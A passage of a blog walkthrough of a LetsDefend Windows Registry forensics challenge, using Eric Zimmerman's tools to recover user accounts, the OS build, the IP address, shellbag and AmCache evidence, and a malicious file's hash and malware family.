&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Users (User accounts)&lt;/strong&gt;&amp;rdquo;&#xA;bookmark to identify the users on the system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;600&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/b79491cf4abbbbf38930418c77c9b3b4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the Users Bookmark&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll find there are four built-in users, and two additional users added to the system. This is easier to see if you expand the &lt;code&gt;User Name&lt;/code&gt; column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;318px&#34; data-flex-grow=&#34;132&#34; height=&#34;603&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/9af4e85c9381371ccec80289ceced7c7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the Added User Accounts&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/4958d0b54977ab01837639a438d91311_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-build-number-of-the-users-operating-system&#34;&gt;Question 2: What is the build number of the user&amp;rsquo;s operating system?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we&amp;rsquo;ll need to discover the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;BuildNumber&amp;rdquo;&#xA;of the operating system of the machine the dump was captured from. Since this isn&amp;rsquo;t user account-related, we&amp;rsquo;ll need to load another registry artifact — the &lt;strong&gt;SOFTWARE hive&lt;/strong&gt; which contains the information, settings, and preferences for software installed on the system, including the operating system.&lt;/p&gt;&#xA;&lt;p&gt;Once we load the SOFTWARE hive into Registry Explorer, we&amp;rsquo;ll receive the following &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;dirty hive&amp;quot;&#xA;error message referencing the transaction logs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;735px&#34; data-flex-grow=&#34;306&#34; height=&#34;261&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/82b99731da20fcf9599fea2f23e82eaa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Dirty hive warning&lt;/p&gt;&#xA;&lt;p&gt;To avoid this error, we can cancel the dialogue and reload the hive, this time holding down SHIFT when pressing Open. This will prevent us from needing to manually select the transaction log files and saving a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;clean&amp;quot;&#xA;hive for separate analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;627px&#34; data-flex-grow=&#34;261&#34; height=&#34;306&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/96819b1d033bdde6de100c3005d05ef2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Transaction log replay confirmation&lt;/p&gt;&#xA;&lt;p&gt;Now that the SOFTWARE hive is loaded, let&amp;rsquo;s browse it using the available common bookmark, &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CurrentVersion (Windows version information (Windows NT key))&amp;quot;&#xA;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;601&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/b5215db71f4c32ba300dc4fd7d7f0838_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the CurrentVersion bookmark&lt;/p&gt;&#xA;&lt;p&gt;This will take us to the &lt;code&gt;CurrentVersion&lt;/code&gt; key where we can identify the OS build number in the &lt;code&gt;CurrentBuild&lt;/code&gt; value and successfully answer &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;600&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/7a9e03f8ba6eabb42213e189500aeada_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the build number of the OS&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/4f2e503a4251a8aabedfcd436ed60837_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-was-the-ip-address-of-the-machine-you-are-investigating-rightnow&#34;&gt;Question 3: What was the IP address of the machine you are investigating right now?&#xA;&lt;/h3&gt;&lt;p&gt;For the next task, we&amp;rsquo;ll need to identify the IP address of the machine we&amp;rsquo;re investigating. We can locate this information by loading a third registry hive, the &lt;strong&gt;SYSTEM&lt;/strong&gt; hive. The SYSTEM hive contains the system&amp;rsquo;s configuration settings including the network interfaces.&lt;/p&gt;&#xA;&lt;p&gt;Follow the same process that we used in &lt;strong&gt;Question 2&lt;/strong&gt; to bypass the dirty hive error message. We can then use the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**Interfaces (DHCPNetworkHints, NetworkSettings Plugins)&amp;quot;&#xA;** bookmark to identify the relevant network configuration information including the assigned IP address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;601&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/fbf1ff99ae54096e6482c6f06956406d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the Interfaces bookmark&lt;/p&gt;&#xA;&lt;p&gt;The value we&amp;rsquo;re looking for to answer &lt;strong&gt;Question 3&lt;/strong&gt; is the &lt;code&gt;DHCPIP Address&lt;/code&gt; value.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;599&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/88bb7fc80f77e20c81c4b9cc844726b9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the Machine&amp;rsquo;s IP Address&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1959px&#34; data-flex-grow=&#34;816&#34; height=&#34;98&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/90ee711507710d911b8d6735b48e0f8a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-we-suspect-that-the-user-may-have-some-video-games-on-their-work-pc-what-is-the-name-of-thegame&#34;&gt;Question 4: We suspect that the user may have some video games on their work PC. What is the name of the game?&#xA;&lt;/h3&gt;&lt;p&gt;Based on what we&amp;rsquo;ve learned so far, it seems logical that checking the &lt;code&gt;Software\Microsoft\Windows\CurrentVersion\Uninstall&lt;/code&gt; key would be the best place to identify installed applications. But what if a game isn&amp;rsquo;t actually installed or the directory has been deleted? Can we find any evidence that it existed on the system with only a registry hive?&lt;/p&gt;&#xA;&lt;p&gt;To determine if the user had any games installed on the work device we&amp;rsquo;re investigating, we&amp;rsquo;ll need to take a different approach searching for evidence. Let&amp;rsquo;s check the &lt;strong&gt;Question 4&lt;/strong&gt; hint for some guidance:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1246px&#34; data-flex-grow=&#34;519&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/e2b334076498bc3aa837f3f60ca9b090_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;First, let&amp;rsquo;s start with some background on what &lt;strong&gt;Shellbags&lt;/strong&gt; are and what the &lt;strong&gt;UsrClass&lt;/strong&gt; hive is. For a deeper insight, we&amp;rsquo;ll lean on the extremely thorough explanation from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-windows-shellbags/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Shellbags are a set of registry keys that store information about the view settings and preferences of folders as they are viewed in Windows Explorer.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Windows creates a number of additional artifacts when storing these properties in the registry, giving the investigator great insight into the folder, browsing history of a suspect, as well as details for any folder that might no longer exist on a system (due to deletion, or being located on a removable device).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, putting all this together for our purposes, we may be able to find evidence of a folder containing a game by exploring the shellbags stored within the &lt;strong&gt;UsrClass.dat&lt;/strong&gt; hive.&lt;/p&gt;&#xA;&lt;p&gt;To do this, we can leverage another of Eric Zimmerman&amp;rsquo;s tools, &lt;strong&gt;ShellBags Explorer.&lt;/strong&gt; This utility is a &amp;quot; # &amp;ldquo;GUI for browsing shellbags data. Handles locked files&amp;quot;and is already available in the &lt;code&gt;Tools&lt;/code&gt; folder — very handy!&lt;/p&gt;&#xA;&lt;p&gt;Go ahead and launch the utility, then press &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;File&amp;rdquo;&#xA;and select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Load offline hive&amp;quot;&#xA;. Select the UsrClass.dat hive from the following directory: &lt;code&gt;C\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/f3377ace7b53bc3ee5f973a21a21d034_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;ShellBags Explorer: Identifying the video game&lt;/p&gt;&#xA;&lt;p&gt;After exploring the available artifacts with ShellBags Explorer, we&amp;rsquo;ll stumble upon the folder &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Tom_Clancy%27s_Rainbow_Six_Siege&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Rainbow Six Siege&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; a popular online game, and the answer to &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/47f38f159bbd2a400993a60e167b6d36_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-there-was-a-file-that-got-executed-from-the-downloads-directory-what-is-the-modification-time-of-the-saidfile&#34;&gt;Question 5: There was a file that got executed from the Downloads directory. What is the modification time of the said file?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing forward, our next task is to discover the modification time of a file executed from within the Downloads directory. To do this, we&amp;rsquo;re going to analyze the &lt;strong&gt;Application Compatibility Cache (AppCompatCache)&lt;/strong&gt;, part of the SYSTEM registry hive.&lt;/p&gt;&#xA;&lt;p&gt;But first, some context. In a Windows-based system, the AppCompatCache is used to track compatibility with older apps in newer versions of Windows. At first glance, this doesn&amp;rsquo;t seem that interesting but, from a forensic perspective, it contains some valuable information. For example, we&amp;rsquo;ll refer to another post from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/shimcache-vs-amcache-key-windows-forensic-artifacts/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt; to explain the AppCompatCache further_:_&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;ShimCache, also known as the Application Compatibility Cache, is a feature in Windows designed to maintain compatibility for applications running on newer operating systems. &lt;strong&gt;It tracks the execution of applications, whether they were executed recently or in the past.&lt;/strong&gt; ShimCache is part of the AppCompat framework, which Windows uses to ensure compatibility with older applications.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Okay! Now we&amp;rsquo;re getting somewhere. To retrieve this information, we&amp;rsquo;ll pivot to another of Eric Zimmerman&amp;rsquo;s tools, &lt;strong&gt;AppCompatCacheParser&lt;/strong&gt;, to parse the SYSTEM registry hive and interpret the execution time of the file from the AppCompatCache. This tool is available in the analysis environment under this directory: &lt;code&gt;C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AppCompatCacheParser.exe&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example, we can execute the tool from the &lt;strong&gt;Windows Command Prompt&lt;/strong&gt; with the following command to generate a CSV file for us to analyze:&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AppCompatCacheParser.exe&amp;rdquo; -f &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\config\SYSTEM&amp;rdquo; &amp;ndash;csv &amp;ldquo;C:\Users\LetsDefend\Desktop&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;650px&#34; data-flex-grow=&#34;271&#34; height=&#34;295&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/ac83dfe2e0181b96aada4ac062dac08f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Running AppCompatCacheParser.exe from Command Prompt&lt;/p&gt;&#xA;&lt;p&gt;Once the CSV file is generated, we&amp;rsquo;ll open it with yet another Eric Zimmerman tool, &lt;strong&gt;Timeline Explorer&lt;/strong&gt;. This tool is a CSV viewer with robust filtering and sorting capabilities. For our purposes, we can use it to filter the &lt;code&gt;Path&lt;/code&gt; column for the keyword &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Downloads,&amp;quot;&#xA;since this is the directory we want to focus on, to find that there is only one result.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll need to check the column to the left, &lt;code&gt;Last Modified Time UTC&lt;/code&gt;, to identify the answer to &lt;strong&gt;Question 5&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/871ca41cbeba1e5f904175d2ce27ce4e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Filtering the Download Path&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/16570d40eb5821e2c3e455c695cfbcbb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-we-believe-that-the-user-may-have-installed-some-malicious-files-on-their-work-pc-what-is-the-sha1-hash-of-the-malicious-file&#34;&gt;Question 6: We believe that the user may have installed some malicious files on their work PC. What is the SHA1 hash of the malicious file?&#xA;&lt;/h3&gt;&lt;p&gt;Next up, we need to identify the SHA1 file hash of a malicious file installed on the PC. The first step here is to determine which file is malicious. To do this, we&amp;rsquo;re going to check the &lt;strong&gt;AmCache hive&lt;/strong&gt; to gain an understanding of the files that have been executed on the system.&lt;/p&gt;&#xA;&lt;p&gt;If you read the entire reference article from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/shimcache-vs-amcache-key-windows-forensic-artifacts/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt; in the previous question, you may have seen a reference to this hive already. If not, here is an overview of the forensic significance of the AmCache hive from their blog:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;AmCache is one of the most significant and detailed artifacts available to forensic investigators on modern Windows systems. Introduced in Windows 8, AmCache provides a wealth of information about executables and DLLs that interact with the system, recording key metadata which helps investigators piece together a forensic timeline of program activity. Unlike ShimCache, which captures metadata at shutdown, AmCache provides live data and tracks when files were first executed, making it a more reliable indicator of execution.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Perfect! This sounds like exactly the right place to be searching. In our analysis environment, we can locate the AmCache hive in the following directory: &lt;code&gt;C:\Windows\AppCompat\Programs\Amcache.hve&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;How do we parse this, you might be asking? At this point in the investigation, it will come as no surprise that we are going to leverage another Eric Zimmerman tool. This time we&amp;rsquo;ll use &lt;strong&gt;AmcacheParser&lt;/strong&gt; using a similar syntax to the previous question. For reference, I&amp;rsquo;ll leave an example below to output the results to CSV:&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\AmcacheParser.exe&amp;rdquo; -f &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\AppCompat\Programs\Amcache.hve&amp;rdquo; &amp;ndash;csv &amp;ldquo;C:\Users\LetsDefend\Desktop&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/56f1656c3a8cb4f391e56d829c4275cc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Running AmcacheParser.exe from Command Prompt&lt;/p&gt;&#xA;&lt;p&gt;A difference between the output of AmCacheParser versus AppCompatCacheParser is that there are several files created. For the purposes of our investigation, we need to focus on the unassociated file entries CSV file, &lt;code&gt;DATE_Amcache_UnassociatedFileEntries.csv&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Open the file in Timeline Explorer and find the &lt;code&gt;Full Path&lt;/code&gt; column. Sift through the displayed executable paths, looking for anything that sticks out as strange. You may have also noticed this file when we were exploring the shellbags back in &lt;strong&gt;Question 4&lt;/strong&gt;&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/3f04c7530410a3d96427e736fccd1de7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying the Malicious File Path&lt;/p&gt;&#xA;&lt;p&gt;This executable looks a little suspicious, doesn&amp;rsquo;t it? Let&amp;rsquo;s collect the SHA1 file hash from the column to the left, &lt;code&gt;SHA1&lt;/code&gt;, and check if we&amp;rsquo;ve identified the correct file.&lt;/p&gt;&#xA;&lt;p&gt;f7910c5a92168453106e4343032d1c5ca239ce16&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1900px&#34; data-flex-grow=&#34;792&#34; height=&#34;101&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/7c386ea9ba237191144a75b6452b79f1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-malware-family-name-of-the-previousfile&#34;&gt;Question 7: What is the malware family name of the previous file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified a potentially malicious file and acquired its SHA1 hash, let&amp;rsquo;s pivot out to &lt;a class=&#34;link&#34; href=&#34;http://gather%20some%20additional%20intelligence&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; to gather some additional intelligence, and check if this file hash has been observed before.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;633px&#34; data-flex-grow=&#34;264&#34; height=&#34;303&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/e7746d69a535327ee5ae92c02555e411_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After submitting the hash, we can determine that the file is indeed malicious based on the number of antivirus hits. We can also refer to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;family labels&amp;quot;&#xA;tag to determine the malware family name to answer &lt;strong&gt;Question 7&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/926370ef4e2d006b6c8877007cc6d79f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-user-opened-a-file-on-20240506-063909-on-their-work-pc-what-is-the-name-of-thatfile&#34;&gt;Question 8: The user opened a file on 2024€“05€“06 06:39:09 on their work PC. What is the name of that file?&#xA;&lt;/h3&gt;&lt;p&gt;To identify the file opened on the specified date/time, we&amp;rsquo;ll need to jump back to Registry Explorer and load the &lt;strong&gt;NTUSER.DAT&lt;/strong&gt; artifact. This hive can be located at: &lt;code&gt;C\Users\LetsDefend\Desktop\ChallengeFile\C\Users\Administrator TUSER.DAT&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Again, we&amp;rsquo;ll open this hive by selecting the &lt;code&gt;NTUSER.DAT&lt;/code&gt; file and holding SHIFT when opening it to replay the transaction logs. Once the hive is loaded, we&amp;rsquo;ll use the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;RecentDocs (Recently opened files by extension)&lt;/strong&gt;&amp;quot;&#xA; bookmark to view the &lt;strong&gt;RecentDocs&lt;/strong&gt; key which tracks recent file and folder activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;511&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/c73e24decbf5aa3b8d6453ac7e4baa8c_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Selecting the RecentDocs bookmark&lt;/p&gt;&#xA;&lt;p&gt;Sort the results by the &lt;code&gt;Opened On&lt;/code&gt; column and match the date from the question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-windows-registry-challenge-walkthrough/28f121199098addf6e72b70872618e66_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Registry Explorer: Identifying the file for the specific date/time&lt;/p&gt;&#xA;&lt;p&gt;Using the RecentDocs key, we can determine that the file &lt;code&gt;Note.txt&lt;/code&gt; is the file of interest to answer &lt;strong&gt;Question 8&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1900px&#34; data-flex-grow=&#34;792&#34; height=&#34;101&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 